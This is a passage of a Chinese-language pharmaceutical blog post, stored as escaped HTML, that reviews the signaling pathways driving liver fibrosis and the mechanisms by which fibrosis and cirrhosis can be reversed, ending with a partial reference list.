e5\u901a\u8def\u5df2\u6709\u836f\u7269\u6210\u529f\u4e0a\u5e02\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>6.\u5176\u4ed6\u5173\u952e\u901a\u8def\uff1a<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022WNT\/\u03b2-\u8fde\u73af\u86cb\u767d\u901a\u8def\uff1a\u8be5\u901a\u8def\u5728\u80da\u80ce\u53d1\u80b2\u4e2d\u8d77\u91cd\u8981\u4f5c\u7528\uff0c\u6210\u5e74\u540e\u57fa\u672c\u6c89\u9ed8\uff0c\u800c\u809d\u635f\u4f24\u540e\u4f1a\u88ab\u91cd\u65b0\u6fc0\u6d3b\uff0c\u901a\u8fc7\u4fc3\u8fdbHSC\u7684\u7cd6\u9175\u89e3\u4ee3\u8c22\uff0c\u589e\u5f3a\u5176\u589e\u6b96\u548c\u6d3b\u5316\u80fd\u529b\uff0c\u52a0\u901f\u7ea4\u7ef4\u5316\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022Sonic Hedgehog\u4fe1\u53f7\u901a\u8def\uff1a\u6b63\u5e38\u809d\u7ec4\u7ec7\u4e2d\u65e0Hedgehog\u914d\u4f53\u8868\u8fbe\uff0c\u809d\u635f\u4f24\u540eHSC\u4f1a\u5206\u6cccShh\uff08Sonic Hedgehog\u86cb\u767d\uff09\uff0c\u8bf1\u5bfc\u81ea\u8eab\u53ca\u5468\u56f4\u7ec6\u80de\u8f6c\u5206\u5316\u4e3a\u808c\u6210\u7ea4\u7ef4\u7ec6\u80de\uff1b\u6291\u5236Shh\u4fe1\u53f7\u53ef\u663e\u8457\u6291\u5236HSC\u6d3b\u5316\u548cECM\u5408\u6210\uff0c\u51cf\u8f7b\u809d\u7ea4\u7ef4\u5316\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022TLR4\/NF-\u03baB\u901a\u8def\uff1a\u809d\u810f\u53d7\u635f\u540e\uff0c\u80a0\u9053\u83cc\u7fa4\u7d0a\u4e71\u5bfc\u81f4\u8102\u591a\u7cd6\uff08LPS\uff09\u5165\u8840\uff0cLPS\u4e0eHSC\u8868\u9762\u7684TLR4\uff08Toll\u6837\u53d7\u4f534\uff09\u7ed3\u5408\uff0c\u6fc0\u6d3bNF-\u03baB\u901a\u8def\uff0c\u91ca\u653e\u5927\u91cf\u708e\u75c7\u56e0\u5b50\uff08\u5982TNF-\u03b1\u3001IL-6\uff09\uff0c\u65e2\u52a0\u91cd\u809d\u810f\u708e\u75c7\uff0c\u53c8\u4fc3\u8fdbHSC\u6d3b\u5316\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022VEGF\/VEGFR\u4fe1\u53f7\u901a\u8def\uff1a\u957f\u671f\u66b4\u9732\u4e8e\u73af\u5883\u6c61\u67d3\u7269\u4f1a\u8bf1\u5bfcHSC\u4ea7\u751fVEGF\uff0c\u8fdb\u800c\u4fc3\u8fdb\u809d\u7ea4\u7ef4\u5316\uff1bVEGF\u901a\u8fc7\u8c03\u8282\u809d\u810f\u8840\u7ba1\u751f\u6210\u548c\u708e\u75c7\u5fae\u73af\u5883\uff0c\u95f4\u63a5\u53c2\u4e0e\u7ea4\u7ef4\u5316\u8fdb\u7a0b\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022YAP\/TAZ\u4fe1\u53f7\u901a\u8def\uff1aYAP\/TAZ\uff08Yes\u76f8\u5173\u86cb\u767d\/PDZ\u7ed3\u5408\u57fa\u5e8f\u7684\u8f6c\u5f55\u5171\u6fc0\u6d3b\u56e0\u5b50\uff09\u6fc0\u6d3b\u540e\u4f1a\u4fc3\u8fdbHSC\u5408\u6210ECM\uff0c\u52a0\u91cd\u809d\u7ea4\u7ef4\u5316\uff1b\u5728\u52a8\u7269\u6a21\u578b\u4e2d\uff0c\u6291\u5236YAP\/TAZ\u4e0eTEAD\uff08\u8f6c\u5f55\u589e\u5f3a\u76f8\u5173\u7ed3\u5408\u57df\uff09\u7684\u76f8\u4e92\u4f5c\u7528\uff0c\u53ef\u663e\u8457\u51cf\u8f7b\u809d\u810fECM\u6c89\u79ef\u548c\u7ea4\u7ef4\u5316\u7a0b\u5ea6\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022ER\u5e94\u6fc0\u4fe1\u53f7\u901a\u8def\uff1a\u809d\u810f\u957f\u671f\u635f\u4f24\u4f1a\u5f15\u53d1ER\uff08\u5185\u8d28\u7f51\uff09\u5e94\u6fc0\uff0c\u901a\u8fc7\u8bf1\u5bfc\u809d\u7ec6\u80de\u51cb\u4ea1\u3001HSC\u6d3b\u5316\u548c\u708e\u75c7\u53cd\u5e94\uff0c\u63a8\u52a8\u809d\u7ea4\u7ef4\u5316\uff1b\u5728MASH\u4e2d\uff0cER\u5e94\u6fc0\u8fd8\u4f1a\u901a\u8fc7\u8102\u8d28\u4ee3\u8c22\u7d0a\u4e71\u52a0\u91cd\u7ea4\u7ef4\u5316\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022cGAS\/STING\u4fe1\u53f7\u901a\u8def\uff1a\u809d\u7ec6\u80de\u6c27\u5316\u5e94\u6fc0\u4ecb\u5bfc\u7684\u94c1\u6b7b\u4ea1\u4f1a\u6fc0\u6d3b\u5de8\u566c\u7ec6\u80de\u7684cGAS\/STING\uff08\u73af\u72b6GMP-AMP\u5408\u6210\u9176\/\u5e72\u6270\u7d20\u57fa\u56e0\u523a\u6fc0\u56e0\u5b50\uff09\u4fe1\u53f7\uff0c\u8fdb\u800c\u5f15\u53d1\u809d\u635f\u4f24\u548c\u7ea4\u7ef4\u5316\uff1b\u8be5\u901a\u8def\u8fd8\u80fd\u4fc3\u8fdb\u809d\u7aa6\u5fae\u8840\u7ba1\u8840\u6813\u5f62\u6210\uff0c\u52a0\u91cd\u809d\u810f\u5fae\u5faa\u73af\u969c\u788d\u548c\u7ea4\u7ef4\u5316\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022NOTCH\u4fe1\u53f7\u901a\u8def\uff1a\u5065\u5eb7\u4e0e\u809d\u786c\u5316\u809d\u7ec4\u7ec7\u7684\u5355\u7ec6\u80de\u8f6c\u5f55\u7ec4\u5206\u6790\u8bc1\u5b9e\uff0cNOTCH\u662f\u5173\u952e\u4fc3\u7ea4\u7ef4\u5316\u901a\u8def\uff1bNOTCH1\u901a\u8fc7\u8c03\u63a7HSC\u7684\u8f6c\u5f55\u7ec4\u53d8\u5316\uff0c\u4fc3\u8fdb\u5176\u6d3b\u5316\u548c\u7ea4\u7ef4\u5316\u76f8\u5173\u57fa\u56e0\u8868\u8fbe\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022\u6574\u5408\u7d20-ILK\u4fe1\u53f7\u901a\u8def\uff1a\u6574\u5408\u7d20\u4e0eECM\u7ed3\u5408\u540e\u6fc0\u6d3bILK\uff08\u6574\u5408\u7d20\u8fde\u63a5\u6fc0\u9176\uff09\uff0cILK\u4ee5\u7ec4\u7ec7\u7279\u5f02\u6027\u65b9\u5f0f\u4ecb\u5bfcHSC\u7684\u4e0a\u76ae-\u95f4\u8d28\u8f6c\u5316\uff08EMT\uff09\uff0c\u53c2\u4e0e\u809d\u7ea4\u7ef4\u5316\u8fdb\u7a0b\uff1b\u8840\u7ba1\u7d27\u5f20\u7d20II\u53ef\u901a\u8fc7TGF-\u03b2\/SMAD\u4fe1\u53f7\u4e0a\u8c03ILK\u8868\u8fbe\uff0c\u8fdb\u4e00\u6b65\u653e\u5927\u7ea4\u7ef4\u5316\u6548\u5e94\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022JAK\/STAT\u4fe1\u53f7\u901a\u8def\uff1aJAK\/STAT\u901a\u8def\u88ab\u7ec6\u80de\u56e0\u5b50\uff08\u5982IL-6\u3001PDGF\uff09\u6fc0\u6d3b\u540e\uff0c\u53ef\u76f4\u63a5\u4fc3\u8fdbHSC\u6d3b\u5316\u548c\u809d\u7ec6\u80de\u708e\u75c7\u53cd\u5e94\uff0c\u52a0\u901f\u809d\u7ea4\u7ef4\u5316\uff1bJAK\u6291\u5236\u5242\u5df2\u5728\u52a8\u7269\u6a21\u578b\u4e2d\u663e\u793a\u51fa\u6297\u809d\u7ea4\u7ef4\u5316\u6f5c\u529b\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022\u5927\u9ebb\u7d20\uff08CB\uff09\u4fe1\u53f7\u901a\u8def\uff1aCB1R\u4fe1\u53f7\u6fc0\u6d3b\u4f1a\u9a71\u52a8\u809d\u810f\u6c27\u5316\u5e94\u6fc0\u3001\u708e\u75c7\u548c\u7ea4\u7ef4\u5316\uff0c\u5728\u809d\u7ea4\u7ef4\u5316\u6a21\u578b\u4e2d\u9ad8\u8868\u8fbe\uff1bCB2R\u5219\u5177\u6709\u6297\u708e\u3001\u6297\u6c27\u5316\u548c\u6297\u7ea4\u7ef4\u5316\u4f5c\u7528\uff0c\u4f46\u5728\u809d\u7ea4\u7ef4\u5316\u4e2d\u7684\u5177\u4f53\u673a\u5236\u4ecd\u5b58\u5728\u4e89\u8bae\uff0c\u9700\u8fdb\u4e00\u6b65\u7814\u7a76\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img decoding=\"async\" width=\"725\" height=\"538\" src=\"http:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/12\/\u56fe2.png\" alt=\"\" class=\"wp-image-1604\" srcset=\"https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/12\/\u56fe2.png 725w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/12\/\u56fe2-300x223.png 300w\" sizes=\"(max-width: 725px) 100vw, 725px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"687\" height=\"843\" src=\"http:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/12\/\u56fe3-\u538b\u7f29.png\" alt=\"\" class=\"wp-image-1605\" srcset=\"https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/12\/\u56fe3-\u538b\u7f29.png 687w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/12\/\u56fe3-\u538b\u7f29-244x300.png 244w\" sizes=\"(max-width: 687px) 100vw, 687px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">PART 03<br>\u9006\u8f6c\u201c\u5173\u952e\u70b9\u201d\uff1a\u7ea4\u7ef4\u5316\u4e0e\u809d\u786c\u5316\u53ef\u9006\u7684\u6838\u5fc3\u673a\u5236<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u809d\u7ea4\u7ef4\u5316\u548c\u4ee3\u507f\u671f\u809d\u786c\u5316\u7684\u53ef\u9006\u6027\uff0c\u6838\u5fc3\u4f9d\u8d56\u4ee5\u4e0b\u56db\u5927\u673a\u5236\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1.<strong>\u808c\u6210\u7ea4\u7ef4\u7ec6\u80de\u51cb\u4ea1\uff1a<\/strong><br>\u901a\u8fc7\u836f\u7269\u6216\u81ea\u8eab\u514d\u75ab\u8c03\u63a7\uff0c\u8ba9\u6d3b\u5316\u7684\u808c\u6210\u7ea4\u7ef4\u7ec6\u80de\u53d1\u751f\u7a0b\u5e8f\u6027\u6b7b\u4ea1\uff0c\u51cf\u5c11\u201c\u75a4\u75d5\u5236\u9020\u8005\u201d\uff1b<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">2.<strong>\u7ec6\u80de\u5916\u57fa\u8d28\u964d\u89e3\uff1a<\/strong><br>\u809d\u810f\u5185\u7684\u57fa\u8d28\u91d1\u5c5e\u86cb\u767d\u9176\uff08MMPs\uff09\u80fd\u964d\u89e3\u80f6\u539f\u86cb\u767d\u7b49\u7ec6\u80de\u5916\u57fa\u8d28\uff0c\u800cTIMPs\u4f1a\u6291\u5236MMPs\u7684\u6d3b\u6027\u3002\u7ea4\u7ef4\u5316\u9006\u8f6c\u65f6\uff0cMMPs\u8868\u8fbe\u5347\u9ad8\uff0cTIMPs\u8868\u8fbe\u964d\u4f4e\uff0c\u5b9e\u73b0\u75a4\u75d5\u7ec4\u7ec7\u7684\u964d\u89e3\uff1b<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">3.<strong>HSC\u5931\u6d3b\uff1a<\/strong><br>\u90e8\u5206\u6d3b\u5316\u7684HSC\u53ef\u9006\u8f6c\u56de\u9759\u606f\u6001\uff0c\u505c\u6b62\u5206\u6ccc\u7ec6\u80de\u5916\u57fa\u8d28\uff1b<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">4.<strong>\u514d\u75ab\u7ec6\u80de\u8c03\u63a7\uff1a<\/strong><br>\u81ea\u7136\u6740\u4f24\uff08NK\uff09\u7ec6\u80de\u80fd\u901a\u8fc7\u5206\u6cccIFN-\u03b3\u548c\u8868\u8fbeTRAIL\uff08\u80bf\u7624\u574f\u6b7b\u56e0\u5b50\u76f8\u5173\u51cb\u4ea1\u8bf1\u5bfc\u914d\u4f53\uff09\uff0c\u76f4\u63a5\u6740\u4f24\u6d3b\u5316\u7684HSC\uff0c\u540c\u65f6\u6291\u5236\u708e\u75c7\u53cd\u5e94\uff0c\u4fc3\u8fdb\u7ea4\u7ef4\u5316\u9006\u8f6c\u3002\u6709\u7814\u7a76\u8868\u660e\uff0c\u5de8\u566c\u7ec6\u80de\u7684\u8868\u578b\u6781\u5316\u662f\u7ea4\u7ef4\u5316\u9006\u8f6c\u7684\u91cd\u8981\u73af\u8282\uff0cM2\u578b\u5de8\u566c\u7ec6\u80de\u5411M1\u578b\u6781\u5316\u540e\uff0c\u53ef\u901a\u8fc7\u541e\u566c\u6d3b\u5316\u7684\u6210\u7ea4\u7ef4\u7ec6\u80de\u6216\u5206\u6ccc\u6297\u7ea4\u7ef4\u5316\u56e0\u5b50\uff0c\u6291\u5236\u7ea4\u7ef4\u5316\u8fdb\u5c55\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><br>\u5bf9\u4e8e\u809d\u786c\u5316\u800c\u8a00\uff0c\u9006\u8f6c\u7684\u6838\u5fc3\u662f\u201c\u75c5\u56e0\u6839\u9664+\u957f\u671f\u4fee\u590d\u201d\u2014\u2014\u53ea\u6709\u5f7b\u5e95\u6d88\u9664\u75c5\u6bd2\u3001\u9152\u7cbe\u7b49\u635f\u4f24\u56e0\u7d20\uff0c\u518d\u901a\u8fc7\u9776\u5411\u836f\u7269\u6301\u7eed\u6291\u5236\u7ea4\u7ef4\u5316\u901a\u8def\uff0c\u624d\u80fd\u9010\u6b65\u51cf\u5c11\u5047\u5c0f\u53f6\u6570\u91cf\u3001\u6539\u5584\u809d\u810f\u7ed3\u6784\u3002\u4f46\u809d\u786c\u5316\u7684\u9006\u8f6c\u7a0b\u5ea6\u6709\u9650\uff0c\u65e0\u6cd5\u5b8c\u5168\u6062\u590d\u6b63\u5e38\u809d\u810f\u67b6\u6784\uff0c\u56e0\u6b64\u65e9\u671f\u5e72\u9884\u4ecd\u662f\u91cd\u4e2d\u4e4b\u91cd\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7efc\u4e0a\uff0c\u809d\u7ea4\u7ef4\u5316\u7684\u53d1\u75c5\u673a\u5236\u662f\u591a\u7ec6\u80de\u534f\u540c\u3001\u591a\u901a\u8def\u4ea4\u7ec7\u7684\u590d\u6742\u7f51\u7edc\uff0c\u6838\u5fc3\u5728\u4e8e\u809d\u661f\u72b6\u7ec6\u80de\u7684\u6d3b\u5316\u4e0e\u7ec6\u80de\u5916\u57fa\u8d28\u7684\u8fc7\u5ea6\u6c89\u79ef\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u660e\u786e\u5173\u952e\u7ec6\u80de\u4e0e\u4fe1\u53f7\u901a\u8def\u7684\u4f5c\u7528\uff0c\u662f\u521b\u65b0\u836f\u7269\u7814\u53d1\u7684\u6838\u5fc3\u9776\u70b9\uff1b\u800c\u65e9\u671f\u5e72\u9884\u3001\u6839\u9664\u75c5\u56e0\u5219\u662f\u9006\u8f6c\u7ea4\u7ef4\u5316\u7684\u5173\u952e\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u540e\u7eed\u6211\u4eec\u5c06\u6301\u7eed\u89e3\u6790\u809d\u7ea4\u7ef4\u5316\u521b\u65b0\u836f\u7684\u7814\u53d1\u7a81\u7834\uff0c\u656c\u8bf7\u5173\u6ce8\u7cfb\u5217\u7b2c\u4e09\u671f\u5185\u5bb9\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><br>\ud83d\udca1\u5173\u6ce8\u201c\u5c0f\u725b\u533b\u836f\u201d\uff0c\u4e0d\u9519\u8fc7\u6bcf\u4e00\u6b21\u7cbe\u5f69\u7684\u77e5\u8bc6\u5206\u4eab\uff01<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><br><\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u53c2\u8003\u6587\u732e&nbsp;<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">1\u3001Di X, Li Y, Wei J, Li T, Liao B. Targeting Fibrosis: From Molecular Mechanisms to Advanced Therapies. Adv Sci (Weinh). 2025 Jan;12(3):e2410416.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">2\u3001Vandyck K, McGowan DC, Deval J, et al. Discovery and Preclinical Profile of ALG-055009, a Potent and Selective Thyroid Hormone Receptor Beta (THR-\u03b2) Agonist for the Treatment of MASH. J Med Chem. 2024 Sep 12;67(17):14840-14851.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">3\u3001Wang H, Zhang J, Chai J, et al. Fluorofenidone ameliorates cholestasis and fibrosis by inhibiting hepatic Erk\/-Egr-1 signaling and Tgf\u03b21\/Smad pathway in mice. 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